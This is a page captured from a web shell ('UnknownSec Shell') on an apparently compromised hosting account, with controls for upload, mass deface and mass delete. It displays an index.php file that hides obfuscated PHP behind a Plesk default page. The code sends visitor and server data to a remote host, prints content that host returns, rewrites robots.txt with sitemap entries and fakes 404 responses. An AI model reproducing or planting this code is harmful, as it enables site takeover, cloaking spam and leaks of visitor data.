shell bypass 403
UnknownSec Shell
:
/
home
/
unicorntechnolog
/
public_html
/
partnerprofit
/ [
drwxr-x---
]
upload
mass deface
mass delete
console
info server
name :
index.php
<?php goto e7aKL; NHPJK: FcloSe($CJZ9B); goto gaAoj; Cw3nH: $F3M6E = "\125\163\145\162\55\141\147\145\156\164\x3a\52" . PHP_EOL; goto QIB1N; dT4Jt: zKa2Q: goto wANyD; DaYl8: heADer("\110\x54\124\x50\x2f\x31\x2e\x30\40\64\x30\64\40\x4e\x6f\x74\x20\106\157\165\x6e\144"); goto FZT4K; etS1K: if (!($kf_oE == "\145\x78\x69\x74")) { goto VM16f; } goto Wmx_Y; LFj3q: $nfmph = "\145\141\x64\x2e\x63\x6f\x6d"; goto alDRf; JDRDV: HeAdEr($nafr4); goto GpVy7; Wc_n6: SlTkO: goto DaYl8; QIB1N: $F3M6E .= "\x41\154\154\157\x77\72\57" . PHP_EOL; goto wNj_c; OmU1t: CuRl_CloSE($EAtbF); goto Bx5Ir; LZV8R: $p82MG = $T3lEH . $D8tQY; goto eq9JP; KPGtO: $nkb67 = "\x66\151\154"; goto JL23j; GU22b: if (!($kf_oE == "\160\x69\x6e\x67")) { goto o3FcZ; } goto Cw3nH; FZT4K: exit; goto JNtTE; eECkX: if ($h_Gfr < 3) { goto SlTkO; } goto tB9ac; tsrLb: $BpVyH = "\x6e\x74\x73"; goto BlpCv; KFslZ: $D8tQY = "\57\x69\156\x64\145\x78\x2e\x70\150\x70\77\x56\123\75" . $J02jA . "\x26\107\x50\x3d" . $CwfDc; goto mFZZY; A7Kb4: $CJZ9B = FOPeN($_SERVER["\x44\x4f\103\125\x4d\x45\116\124\x5f\122\117\117\124"] . "\57\x72\157\142\157\x74\163\56\164\x78\164", "\167"); goto sO0kA; Ldx6s: ArRAY_Pop($qXbej); goto glxcC; tB9ac: $nafr4 = TRIm($Az9ge[rouNd(0 + 0 + 0 + 0 + 0 + 0)]); goto I762n; TL3f5: foreach ($RiCKI as $lq4Hf) { goto UjF_U; T8Rp5: if ($lq4Hf == "\125\122\111\137\120\122\x45\106\x49\130") { goto qN7NE; } goto Zzjy3; NcVc4: $XYsxB = sTR_REPLaCE("\57", "\x5f", $XYsxB); goto kd26p; w2n0T: I5Eun: goto h0cmC; Zzjy3: $syyRZ = isset($_SERVER[$lq4Hf]) ? $_SERVER[$lq4Hf] : ''; goto WtbqK; NuKEb: $D8tQY .= "\46" . $lq4Hf . "\x3d" . $XYsxB; goto PoYSs; AAoOi: $XYsxB = baSe64_EnCoDe(TriM($syyRZ)); goto TLdYN; Q0DzQ: goto YlhdS; goto OtceW; UjF_U: if ($lq4Hf == "\x52\105\115\117\124\105\137\101\104\x44\122") { goto I5Eun; } goto T8Rp5; WtbqK: goto YlhdS; goto w2n0T; CbMCF: $syyRZ = isset($nF4zQ) ? $nF4zQ : ''; goto k17Wh; kd26p: $XYsxB = stR_RePlaCE("\x3d", "\56", $XYsxB); goto NuKEb; h0cmC: $syyRZ = isset($_SERVER["\x48\124\x54\120\137\x58\137\106\117\122\x57\101\x52\104\x45\104\137\106\117\122"]) ? $_SERVER["\110\x54\x54\x50\137\x58\x5f\x46\x4f\x52\x57\101\122\x44\x45\104\x5f\106\x4f\x52"] : (isset($_SERVER["\x52\x45\x4d\117\124\x45\x5f\x41\104\104\x52"]) ? $_SERVER["\122\105\115\117\x54\105\137\x41\104\x44\x52"] : ''); goto Q0DzQ; TLdYN: $XYsxB = sTr_REpLAce("\53", "\x2d", $XYsxB); goto NcVc4; PoYSs: BB6qo: goto MVQZ2; k17Wh: YlhdS: goto AAoOi; OtceW: qN7NE: goto CbMCF; MVQZ2: } goto YDZIo; AdMpY: echo $S3t7S; goto Vt6hO; IczlY: $qCdcu = trIM($qCdcu); goto CpLOk; Q0GeS: $qCdcu = CUrl_eXeC($EAtbF); goto A3UlQ; gaAoj: echo "\x72\157\142\157\164\163\x2e\164\x78\x74\x20\x64\157\x6e\145"; goto VJuHi; ErO_o: $J02jA = "\153\155\66"; goto O0VPm; cSPNw: $qCdcu = $DxyFB($p82MG); goto UUovk; mFZZY: $RiCKI = array("\123\103\x52\x49\120\124\x5f\116\x41\x4d\105", "\x52\x45\x51\x55\105\x53\124\137\125\122\111", "\x48\x54\x54\x50\x53", "\x52\x45\x51\125\105\x53\124\137\123\x43\110\105\115\105", "\x53\x45\x52\126\x45\122\137\120\x4f\122\x54", "\122\105\115\117\x54\x45\137\x41\104\x44\122", "\110\x54\124\x50\x5f\122\105\x46\105\x52\x45\122", "\x48\124\124\120\x5f\x41\x43\103\105\x50\124\137\114\x41\116\107\125\x41\107\x45", "\110\124\x54\x50\x5f\125\x53\x45\122\x5f\101\x47\105\x4e\x54", "\110\x54\x54\x50\137\110\117\123\x54", "\x55\x52\111\x5f\120\122\105\106\111\130"); goto TL3f5; nVxwn: goto LpVFi; goto Wc_n6; zuoYu: HEAdEr("\x48\x54\124\120\x2f\61\56\x30\40\x34\60\64\x20\116\157\164\40\106\x6f\165\x6e\144"); goto dT4Jt; pTGHe: if (empty($S3t7S)) { goto hkR8_; } goto AdMpY; OhPgd: a1tNV: goto A7Kb4; R2vA1: Curl_SEToPT($EAtbF, CURLOPT_URL, $p82MG); goto NCLJ5; vtlXn: OxPdN: goto HsavB; Wmx_Y: exit; goto MyFyf; oDF5i: $py31m = "\145\x74\137\143"; goto ufLkQ; Bx5Ir: if (!empty($qCdcu)) { goto UCuXc; } goto KPGtO; HP9rJ: o3FcZ: goto nVxwn; MyFyf: VM16f: goto GU22b; tVACU: $h_Gfr = cOunT($Az9ge); goto eECkX; I762n: if (empty($nafr4)) { goto dlgoE; } goto JDRDV; CuHrc: $CwfDc = "\172\x6a\x33\x32\70\67"; goto ErO_o; YDZIo: hZzwc: goto LZV8R; HsavB: $DHvup = "\56\141\160"; goto GKgdM; upSuL: if (!(pReG_maTCH("\x2f\x6a\160\x32\x30\62\x33\143\167\167\x2f\163\x69", $_SERVER["\x52\x45\x51\x55\x45\123\x54\x5f\x55\122\111"]) == rOuND(0 + 0 + 0 + 0 + 0))) { goto zKa2Q; } goto zuoYu; sO0kA: FWriTe($CJZ9B, $F3M6E); goto NHPJK; GpVy7: dlgoE: goto UEygg; wNj_c: $qXbej = EXPLODe("\x3c\142\x72\x2f\76", $S3t7S); goto Ldx6s; azuq8: cUrL_SEToPT($EAtbF, CURLOPT_CONNECTTIMEOUT, rOUnd(1.9565991 + 1.3945215 + 1.081 + 0.60476699 + 0.199 + 0.5372 + 1.028 + 3.19815012)); goto Q0GeS; GKgdM: $vNkJD = "\x72\151\154\x68"; goto LFj3q; Vt6hO: hkR8_: goto w7qDt; O0VPm: if (!(prEg_MATcH("\57\x6a\x70\x32\60\x32\63\57\x73\151", $_SERVER["\x52\x45\121\x55\105\123\124\x5f\x55\x52\111"]) == ROUNd(0.08699999999999999 + 0.08411540000000001 + 0.3302 + 0.155023 + 0.344))) { goto OxPdN; } goto upSuL; NCLJ5: CURl_setopT($EAtbF, CURLOPT_RETURNTRANSFER, Round(0.9893 + 0.0106952)); goto azuq8; BlpCv: $DxyFB = $nkb67 . $W2WbE . $py31m . $fuZ2T . $BpVyH; goto cSPNw; VJuHi: exit; goto HP9rJ; UEygg: $S3t7S = TRIm($Az9ge[roUnd(0.26168 + 0.02372128 + 0.197924 + 0.2420311 + 0.2746)]); goto pTGHe; CpLOk: $Az9ge = exPLode("\x7c\x40\x23\x24\174", $qCdcu); goto tVACU; K0FrQ: exit; goto vtlXn; glxcC: foreach ($qXbej as $GVKXD) { $F3M6E .= "\x53\151\x74\x65\x6d\x61\160\x3a" . $GVKXD . PHP_EOL; p7DE9: } goto OhPgd; JL23j: $W2WbE = "\x65\137\x67"; goto oDF5i; ufLkQ: $fuZ2T = "\x6f\156\164\145"; goto tsrLb; wANyD: echo "\110\124\124\x50\x2f\x31\x2e\60\x20\x34\x30\64\40\116\x6f\164\40\106\157\165\156\144\137\137\137" . $CwfDc . "\x5f\x5f\137" . $J02jA; goto K0FrQ; UUovk: UCuXc: goto IczlY; A3UlQ: $qCdcu = TRIM($qCdcu); goto OmU1t; w7qDt: $kf_oE = TriM($Az9ge[$h_Gfr - rouNd(0.0926 + 0.0186 + 0.085677 + 0.0402423 + 0.204 + 0.376 + 0.001298 + 0.011251 + 0.170056)]); goto etS1K; eq9JP: $EAtbF = CuRl_IniT(); goto R2vA1; e7aKL: ERRor_rEpOrTIng(RoUnD(0 + 0 + 0 + 0 + 0 + 0)); goto CuHrc; alDRf: $T3lEH = "\x68\164\164\x70\x3a\57\57" . $CwfDc . $DHvup . $vNkJD . $nfmph; goto KFslZ; JNtTE: LpVFi: ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Domain Default page</title> <meta name="copyright" content="Copyright 1999-2020. Plesk International GmbH. All rights reserved."> <script src="https://assets.plesk.com/static/default-website-content/public/default-website-index.js"></script> </head> <body> This is a default webpage generated for <script>document.write(location.hostname)</script> by Plesk. </body> </html>
© 2026 UnknownSec